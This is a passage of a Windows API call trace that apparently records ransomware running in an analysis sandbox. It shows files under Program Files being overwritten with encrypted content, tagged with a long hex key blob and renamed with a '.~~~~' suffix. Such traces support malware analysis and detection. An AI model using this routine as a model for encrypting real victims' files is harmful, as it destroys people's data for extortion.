	[0088.725] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff826e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.725] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x7d92, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x7d92, lpOverlapped=0x0) returned 1
	[0088.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.726] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.726] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.726] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.726] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.726] CloseHandle (hObject=0x128) returned 1
	[0088.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39c130
	[0088.727] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.~~~~")) returned 1
	[0088.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c130 | out: hHeap=0x300000) returned 1
	[0088.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.727] GetLastError () returned 0x0
	[0088.728] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.729] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.729] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.729] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20871950584) returned 1
	[0088.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eaf61b0, dwHighDateTime=0x1d60e1e)) 
	[0088.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4f58
	[0088.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4f58 | out: hHeap=0x300000) returned 1
	[0088.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0088.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.730] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.730] GetLastError () returned 0x0
	[0088.731] GetLastError () returned 0x0
	[0088.731] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.731] GetLastError () returned 0x0
	[0088.731] GetLastError () returned 0x0
	[0088.733] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe05f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.733] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1fa1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1fa1, lpOverlapped=0x0) returned 1
	[0088.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.734] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.734] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.734] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.734] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.734] CloseHandle (hObject=0x128) returned 1
	[0088.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.734] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.~~~~")) returned 1
	[0088.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.735] GetLastError () returned 0x0
	[0088.735] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.736] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.737] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.737] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20872680803) returned 1
	[0088.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eaf61b0, dwHighDateTime=0x1d60e1e)) 
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4f90
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4f90 | out: hHeap=0x300000) returned 1
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc248
	[0088.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.737] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.737] GetLastError () returned 0x0
	[0088.738] GetLastError () returned 0x0
	[0088.738] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.738] GetLastError () returned 0x0
	[0088.738] GetLastError () returned 0x0
	[0088.740] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe1fa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.740] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1e06, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1e06, lpOverlapped=0x0) returned 1
	[0088.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.741] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.741] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.742] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.742] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.742] CloseHandle (hObject=0x128) returned 1
	[0088.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.742] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.~~~~")) returned 1
	[0088.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.744] GetLastError () returned 0x0
	[0088.745] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.746] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.746] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.746] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20873607507) returned 1
	[0088.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eb1c310, dwHighDateTime=0x1d60e1e)) 
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4fc8
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4fc8 | out: hHeap=0x300000) returned 1
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fcb30
	[0088.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.747] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.747] GetLastError () returned 0x0
	[0088.747] GetLastError () returned 0x0
	[0088.747] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.747] GetLastError () returned 0x0
	[0088.747] GetLastError () returned 0x0
	[0088.749] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd18d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.749] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2e73, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x2e73, lpOverlapped=0x0) returned 1
	[0088.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.750] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.750] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.751] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.751] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.751] CloseHandle (hObject=0x128) returned 1
	[0088.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.~~~~")) returned 1
	[0088.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.752] GetLastError () returned 0x0
	[0088.752] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.753] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.753] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.753] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20874357752) returned 1
	[0088.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eb1c310, dwHighDateTime=0x1d60e1e)) 
	[0088.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5000
	[0088.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5000 | out: hHeap=0x300000) returned 1
	[0088.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0088.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.754] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.754] GetLastError () returned 0x0
	[0088.754] GetLastError () returned 0x0
	[0088.754] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.755] GetLastError () returned 0x0
	[0088.755] GetLastError () returned 0x0
	[0088.756] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffdfb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.756] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x205, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x205, lpOverlapped=0x0) returned 1
	[0088.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.756] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.756] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.757] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.757] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.757] CloseHandle (hObject=0x128) returned 1
	[0088.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.757] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.~~~~")) returned 1
	[0088.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.758] GetLastError () returned 0x0
	[0088.758] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.759] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.759] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.759] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20874948692) returned 1
	[0088.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eb42470, dwHighDateTime=0x1d60e1e)) 
	[0088.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5038
	[0088.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5038 | out: hHeap=0x300000) returned 1
	[0088.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbeb8
	[0088.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
